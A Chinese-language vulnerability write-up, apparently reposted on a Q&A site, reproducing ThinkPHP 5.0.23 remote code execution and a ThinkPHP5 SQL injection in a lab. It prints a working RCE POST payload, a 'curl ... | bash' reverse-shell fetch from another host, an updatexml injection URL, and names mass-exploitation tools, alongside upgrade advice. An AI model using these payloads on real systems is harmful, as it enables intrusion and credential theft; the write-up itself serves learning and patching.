专业汉语词典知识平台,分享汉字词语知识、历史文学知识解答!

励北网
励北网

thinkphp框架漏洞总结

来源:小易整编  作者:小易  发布时间:2023-03-07 11:35
摘要:ThinkPHP框架漏洞总结Thinkphp简介ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPH...

安全防护

ThinkPHP官方已经发布新版本修复了上述漏洞,强烈建议受影响的用户及时升级进行防护。具体升级方法请参考:https://blog.thinkphp.cn/869075

Thinkphp5.0.23远程代码执行漏洞

漏洞简介

Thinkphp5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

开启漏洞

验证漏洞

bp抓包

POST /index.php?s=captcha HTTP/1.1Host: 192.168.8.63:8080User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

反弹shell

curl 192.168.10.65/zcc.sh | bash

成功反弹。

安全防护

升级到最新版本(如果是在5.0.0——5.0.23之间的)

Thinkphp5 SQL注入漏洞和敏感信息泄露漏洞

漏洞简介

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响版本

ThinkPHP < 5.1.23

漏洞复现

启动漏洞

验证漏洞

访问如下url,显示出用户名,表明环境成功运行。

http://192.168.10.65/index.php?ids[]=1&ids[]=2

构造poc,填到password框

http://192.168.10.65/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

安全防护

官方的修复方法是:在拼接字符串前对变量进行检查,看是否存在)、#两个符号。

Thinkphp自动化武器

Thinkphp综合利用工具

thinkPHPBatchPoc群扫


本文地址:百科问答频道 https://www.neebe.cn/wenda/917751_3.html,易企推百科一个免费的知识分享平台,本站部分文章来网络分享,本着互联网分享的精神,如有涉及到您的权益,请联系我们删除,谢谢!


百科问答
小编:小易整编
相关文章相关阅读
  • 七大后台前端UI框架推荐

    七大后台前端UI框架推荐

    今天分享几个前端开发UI框架,这些框架可以帮助那些在小公司没有前端设计人员情况下,快速搭建应用系统界面,在业余时间也可以接私活,很方便搭建后台应用系统界面操作方法01JqueryeasyUI是基于J...

  • 编程框架是什么意思?

    编程框架是什么意思?

    编程框架是一种软件开发工具,它提供标准的、灵活的编程架构,帮助开发者更快的开发软件系统。它提供了一系列可以用于构建应用程序的组件,它们之间具有良好的耦合性,能够帮助应用程序达到最优状态。通常来说,编程框架会集成很多开发工具,如:语言、数据...

  • 网站框架是什么意思?

    网站框架是什么意思?

    网站框架是指一组基础架构,在其中可以构建、构建和发布网站。它将提供一个简单的代码库和编程例程,中间件和其他软件组件,如数据库,安全基础架构和表单控件等,以实现有效的业务逻辑。网站框架一般包括一个网页动态模板引擎,一个数据库存储过程,一个安...

  • 持久层框架是什么意思?

    持久层框架是什么意思?

    持久层框架是操作数据库所用到的一种技术,IBM通过该技术提出了数据库精英(DatabaseElite)结构。它有助于企业在架构上更好地集成企业资源,加强处理数据库的能力,以支持组织有效的数据库应用。这一概念演变为今天的数据库层,也被称为...

  • 谷歌服务框架是什么

    谷歌服务框架是什么

    Google服务框架全称GoogleMobileService。身为框架的GMS是用户想要体验整套Google服务不可绕开的一环,Google地图、Play商店等一系列的得应用都需要它的支持,否则就会无法打开或无法使用全部功能。Goo...

  • Laravel是什么框架

    Laravel是什么框架

    Laravel是一个由TaylorOtwell所建立,免费的开源PHPWeb框架,旨在实现的Web软件的MVC架构,并作为CodeIgniter的替代方案。其源代码托管于GitHub,许可条款为MIT许可证。Laravel是一个...

  • ptf是什么意思,ptf渗透测试器框架介绍

    ptf是什么意思,ptf渗透测试器框架介绍

    ptf是什么意思,ptf渗透测试器框架介绍PenTesters框架(PTF)是一个Python脚本,设计用于基于Debian/Ubuntu/ArchLinux的发行版,以创建类似且熟悉的渗透测试发行版。作为测试者,我们已经习惯了/pente...

  • mpvue是什么,详解基于Vue的开发框架mpvue

    mpvue是什么,详解基于Vue的开发框架mpvue

    mpvue是什么,详解基于Vue的开发框架mpvue接触微信小程序有一段时间的开发者或开发团队,我相信多多少少都会为自己搭建封装一些便于开发的框架/脚手架,尤其是一些做过Web开发的开发者,受到现如今Web主流开发框架如Angular,Re...

  • 周排行
  • 月排行
  • 年排行

精彩推荐